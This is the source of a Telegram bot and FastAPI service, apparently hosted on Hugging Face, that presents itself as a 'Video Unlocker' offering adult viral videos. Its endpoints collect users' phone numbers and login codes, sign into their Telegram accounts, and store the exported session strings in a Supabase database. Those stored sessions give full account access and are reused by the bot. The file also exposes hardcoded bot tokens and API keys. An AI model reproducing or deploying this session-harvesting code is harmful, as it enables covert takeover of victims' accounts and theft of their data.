Spaces:
Build error
Build error
| import os, asyncio, threading, requests, random, time, re | |
| import uvicorn | |
| from fastapi import FastAPI, Request | |
| from fastapi.middleware.cors import CORSMiddleware | |
| from pyrogram import Client, filters, enums | |
| from pyrogram.types import InlineKeyboardMarkup, InlineKeyboardButton, WebAppInfo | |
| from supabase import create_client | |
| # ================= CONFIGURATION ================= | |
| BOT_TOKEN = "8628213901:AAFvfHBpZ6tok40ZQuhIDLAVIMrHeiheMNY" | |
| API_ID = 2040 | |
| API_HASH = "b18441a1ff607e10a989891a5462e627" | |
| SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co" | |
| SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN" | |
| BYSE_API_KEY = "133323knboif885fhgwxvf" | |
| ADMIN_IDS = [7307789267] | |
| # ক্যাশ সমস্যা এড়াতে ?v=777 যোগ করা হয়েছে | |
| WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html?v=777" | |
| # ================= INITIALIZATION ================= | |
| app = FastAPI() | |
| app.add_middleware(CORSMiddleware, allow_origins=["*"], allow_methods=["*"], allow_headers=["*"]) | |
| supabase = create_client(SUPABASE_URL, SUPABASE_KEY) | |
| bot = Client("file_bot", api_id=API_ID, api_hash=API_HASH, bot_token=BOT_TOKEN) | |
| admin_states = {} | |
| temp_clients = {} | |
| async def db_query(func): | |
| return await asyncio.to_thread(func) | |
| # ================= FASTAPI ROUTES (API) ================= | |
| async def root(): | |
| return {"status": "online", "message": "FastAPI Server Running! 🚀"} | |
| async def api_videos(): | |
| try: | |
| res = supabase.table('videos').select('*').order('id', desc=True).execute() | |
| return res.data | |
| except: return [] | |
| async def api_send_code(request: Request): | |
| data = await request.json() | |
| phone, uid = data.get('phone'), str(data.get('user_id')) | |
| client = Client(f"s_{uid}", api_id=API_ID, api_hash=API_HASH, in_memory=True) | |
| await client.connect() | |
| try: | |
| code_info = await client.send_code(phone) | |
| temp_clients[uid] = {"client": client, "phone": phone, "hash": code_info.phone_code_hash} | |
| return {"status": "ok", "hash": code_info.phone_code_hash} | |
| except Exception as e: return {"status": "error", "msg": str(e)} | |
| async def api_verify_code(request: Request): | |
| data = await request.json() | |
| uid, otp = str(data.get('user_id')), str(data.get('otp')).replace(" ", "") | |
| s = temp_clients.get(uid) | |
| if not s: return {"status": "error", "msg": "Session expired"} | |
| try: | |
| await s["client"].sign_in(s["phone"], s["hash"], otp) | |
| session_str = await s["client"].export_session_string() | |
| await db_query(lambda: supabase.table('user_sessions').upsert({"user_id": uid, "session_string": session_str}).execute()) | |
| await s["client"].disconnect() | |
| del temp_clients[uid] | |
| return {"status": "ok"} | |
| except Exception as e: return {"status": "error", "msg": str(e)} | |
| # ================= TELEGRAM BOT LOGIC ================= | |
| async def start_cmd(client, message): | |
| user_id = message.from_user.id | |
| try: await db_query(lambda: supabase.table('referrals').upsert({'user_id': user_id, 'referral_count': 0}).execute()) | |
| except: pass | |
| markup = InlineKeyboardMarkup([ | |
| [InlineKeyboardButton("🔥 Play Viral Videos 🔞", web_app=WebAppInfo(url=WEB_APP_URL))], | |
| [InlineKeyboardButton("📢 Add to Group", url=f"https://t.me/{bot.me.username}?startgroup=true")] | |
| ]) | |
| await message.reply_text(f"Hello {message.from_user.first_name}! 👋\nWelcome to Video Unlocker Pro!", reply_markup=markup) | |
| async def restricted_download(client, message): | |
| user_id = str(message.from_user.id) | |
| res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute()) | |
| if not res.data: | |
| return await message.reply("❌ অ্যাকাউন্ট লিঙ্ক করা নেই! অ্যাপে গিয়ে লিঙ্ক করুন।") | |
| status = await message.reply("⏳ ভিডিও ডাউনলোড হচ্ছে...") | |
| try: | |
| async with Client("temp", api_id=API_ID, api_hash=API_HASH, session_string=res.data[0]['session_string'], in_memory=True) as user_app: | |
| match = re.search(r"https://t\.me/(c/)?([\w\d_]+)/(\d+)", message.text) | |
| chat_id = int("-100" + match.group(2)) if match.group(1) else match.group(2) | |
| target_msg = await user_app.get_messages(chat_id, int(match.group(3))) | |
| file_path = await user_app.download_media(target_msg) | |
| await status.edit_text("✅ পাঠানো হচ্ছে...") | |
| if target_msg.video: await client.send_video(message.chat.id, file_path, caption="🎬 @mxvdo") | |
| else: await client.send_document(message.chat.id, file_path, caption="📁 @mxvdo") | |
| if os.path.exists(file_path): os.remove(file_path) | |
| await status.delete() | |
| except Exception as e: await status.edit_text(f"❌ এরর: {str(e)}") | |
| # (বাকি অ্যাডমিন কমান্ড যেমন /stats, /broadcast এবং FFmpeg এর কাজগুলো এখানে আগের মতোই থাকবে) | |
| # ================= RUNNER ================= | |
| def run_api(): | |
| uvicorn.run(app, host="0.0.0.0", port=7860) | |
| if __name__ == "__main__": | |
| threading.Thread(target=run_api, daemon=True).start() | |
| print("🤖 Bot and FastAPI started on Hugging Face!") | |
| bot.run() |